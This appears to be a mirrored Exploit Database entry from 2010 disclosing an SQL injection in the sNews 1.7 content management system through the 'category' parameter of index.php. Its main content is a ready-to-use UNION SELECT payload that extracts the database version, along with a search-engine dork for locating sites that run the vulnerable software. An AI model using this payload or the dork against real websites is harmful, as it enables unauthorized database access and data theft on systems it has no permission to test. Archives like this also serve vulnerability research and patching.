sNews 1.7 – ‘index.php?category’ SQL Injection

• Exploit Database
• 35 阅读

• 作者： CoBRa_21
  日期： 2010-07-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14465/

• ########################################################################################
  
  sNews v1.7 (index.php?category) SQL Injection Vulnerability
  
  ########################################################################################
  
  Author : CoBRa_21
  
  Author Web Page : http://www.ipbul.org
  
  Dork: "Powered by sNews"
  
  ########################################################################################
   
  Sql Injection:
  
  http://localhost/[path]/index.php?category=-3 union select 0,version(),2,3,4,5,6,7,8
  
  ########################################################################################
  Thanks http://e-banka.org & http://www.cyber-warrior.org
  ########################################################################################